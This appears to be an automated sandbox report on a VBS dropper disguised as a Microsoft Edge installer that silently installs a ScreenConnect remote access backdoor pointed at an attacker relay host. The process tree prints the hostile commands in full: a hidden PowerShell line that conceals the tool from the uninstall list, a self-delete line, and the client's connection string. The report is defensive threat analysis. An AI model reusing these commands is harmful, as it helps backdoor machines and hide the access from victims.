Overview

overview

8

Static

static

1

MicrosoftE...er.vbs

windows10-2004-x64

8

MicrosoftE...er.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/07/2026, 18:05

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MicrosoftEdgeInstaller.vbs
  • Size 5KB
  • Sample260716-wpd3nsav3q
  • SHA256 3b8a7cc700fea2ff432c0bd4db907187d4b5f5e4f6096ab21a7c71d926c87921
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
backdoordiscoveryexecutionpersistenceprivilege_escalationratrevoked_codesign

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeInstaller.vbs"
    1⤵
    • Badlisted process makes network request
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:5616
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\install_202671619540.msi" ALLUSERS=1 /quiet /norestart REBOOT=ReallySuppress /l*v "C:\Users\Admin\AppData\Local\Temp\install_202671619540.log"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall' -ErrorAction SilentlyContinue | ForEach-Object {$d=(Get-ItemProperty -Path $_.PSPath -Name 'DisplayName' -ErrorAction SilentlyContinue).DisplayName;if($d -like '*ScreenConnect*'){Set-ItemProperty -Path $_.PSPath -Name 'SystemComponent' -Value 1 -Type DWord -Force;Set-ItemProperty -Path $_.PSPath -Name 'NoModify' -Value 1 -Type DWord -Force;Set-ItemProperty -Path $_.PSPath -Name 'NoRepair' -Value 1 -Type DWord -Force}}
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:5592
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 4 >nul & del "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeInstaller.vbs"
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2588
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 4
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2552
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6072
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding FB3F64A94D02E26F511EF3D4D4402DBB
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI1907.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240786000 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4184
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding EA2A939BBA2E7837919B3418CA7ADE89 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1480
  • C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=support.glostingsolutions.shop&p=8041&s=1e1ad489-565c-4a5f-8aab-edb5f688d36b&k=BgIAAACkAABSU0ExAAgAAAEAAQA9IV1jSjhyoqJ5SL7PRxYvOYb%2b76tlzd0Wsh0gMlOzuEtmTEXsSZ0J3HKirplqEgrBERwFDwq5W7JA8ihXvn05LuB%2f6RhMH3f6FF1LKee6XDB%2bM6rh%2bYsvwIgMnmlDRUaMTAHl0fayU1cKErwJDAVeQDqt6A2g4%2fm2BhnWhgIpQwjBvoORsvYSg82Ljk%2fNs2wM7x6Bino5RS5%2bae%2fluCIfuP%2fAz2kZlYMO8reuyYmI0bnUZ7U9jOHT3u%2fx7K2sMzYF7bFc6%2baMjX1WW7KRk%2fXGaPjj%2fQ5I5i1lXzj%2b7Lblf03MG3vvIM5XUJ81PDYF%2b1OL11eVeTmMxCQuL9CJzDS8"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5652
    • C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsClient.exe" "RunRole" "c1b9f127-a86b-44c2-a6cf-2b8028a9d461" "User"
      2⤵
      • Executes dropped EXE
      PID:2812
    • C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsClient.exe" "RunRole" "d032d8ef-f401-4dc3-ab18-4f849215f856" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5684

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        2
        T1012

        Remote System Discovery

        1
        T1018

        System Information Discovery

        3
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        System Network Configuration Discovery

        1
        T1016

        Internet Connection Discovery

        1
        T1016.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5a14a5.rbs
        • Path C:\Config.Msi\e5a14a5.rbs
        • Size 214KB
        • SHA256 dd5ce64bff7f8f738e73dc8286139e9af417525271416b23bae25e3fb07c3f40
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.Override.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\Client.Override.en-US.resources
        • Size 290B
        • SHA256 d40224a36d0b67c26b0198ca2bbba3ffc1001a972c7b27c245b3e6eb9f505f9e
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        app.config
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\app.config
        • Size 1KB
        • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (536071d0f260e9b1)\system.config
        • Size 966B
        • SHA256 4ee401a4bcadb2dc28116d95ddc3fdd4bc98442b2f3163875e3bbbd0651d0380
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        install_202671619540.log
        • Path C:\Users\Admin\AppData\Local\Temp\install_202671619540.log
        • Size 1KB
        • SHA256 98aa219bba828c5aeb2425efb9924a90eea809093b6990b07d01a2f9916bbf9f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        install_202671619540.log
        • Path C:\Users\Admin\AppData\Local\Temp\install_202671619540.log
        • Size 162KB
        • SHA256 494ccc747ef9e14bf88747a96233a521b47f569d3da2b29a63166588686ededa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        install_202671619540.msi
        • Path C:\Users\Admin\AppData\Local\Temp\install_202671619540.msi
        • Size 11.1MB
        • SHA256 c7d66dd79034ab447b817f1daae15eea88014f54e686a1d85583aef5b90a69f9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI1907.tmp
        • Path C:\Windows\Installer\MSI1907.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI1907.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI1907.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI1907.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI1907.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI207C.tmp
        • Path C:\Windows\Installer\MSI207C.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/2812-119-0x000000001B620000-0x000000001B6AC000-memory.dmp
        Download

        memory/2812-117-0x000000001B1E0000-0x000000001B216000-memory.dmp
        Download

        memory/2812-123-0x0000000002690000-0x00000000026A8000-memory.dmp
        Download

        memory/2812-124-0x00000000027E0000-0x00000000027F8000-memory.dmp
        Download

        memory/2812-121-0x000000001BBA0000-0x000000001BD28000-memory.dmp
        Download

        memory/2812-120-0x000000001B860000-0x000000001BA0C000-memory.dmp
        Download

        memory/2812-116-0x00000000005D0000-0x0000000000668000-memory.dmp
        Download

        memory/4184-31-0x0000000006020000-0x00000000060AC000-memory.dmp
        Download

        memory/4184-27-0x0000000003EF0000-0x0000000003EFA000-memory.dmp
        Download

        memory/4184-35-0x0000000006340000-0x00000000064EC000-memory.dmp
        Download

        memory/4184-36-0x0000000006AB0000-0x000000000706A000-memory.dmp
        Download

        memory/4184-23-0x0000000003EC0000-0x0000000003EEE000-memory.dmp
        Download

        memory/5592-126-0x000001DD7DB90000-0x000001DD7DBB2000-memory.dmp
        Download

        memory/5652-74-0x0000000001E20000-0x0000000001E38000-memory.dmp
        Download

        memory/5652-95-0x00000000044B0000-0x0000000004500000-memory.dmp
        Download

        memory/5652-99-0x0000000004500000-0x0000000004536000-memory.dmp
        Download

        memory/5652-104-0x00000000049E0000-0x0000000004AB5000-memory.dmp
        Download

        memory/5652-100-0x00000000047F0000-0x0000000004882000-memory.dmp
        Download

        memory/5652-102-0x0000000004540000-0x0000000004581000-memory.dmp
        Download

        memory/6072-130-0x00000206D5470000-0x00000206D5E14000-memory.dmp
        Download